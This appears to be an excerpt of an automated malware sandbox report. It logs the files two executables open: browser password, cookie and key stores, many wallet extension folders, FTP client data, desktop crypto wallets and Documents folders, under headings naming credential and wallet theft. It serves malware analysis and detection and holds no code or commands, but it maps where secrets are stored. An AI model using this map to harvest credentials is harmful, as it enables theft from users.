Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao

Tries to harvest and steal ftp login credentials

Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\gomtbo\01b80870ed45442fb720b666633425f9.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZGGKNSUKOP
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
Source: C:\Users\user\AppData\Local\Temp\1017027001\ANEDNjf.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL
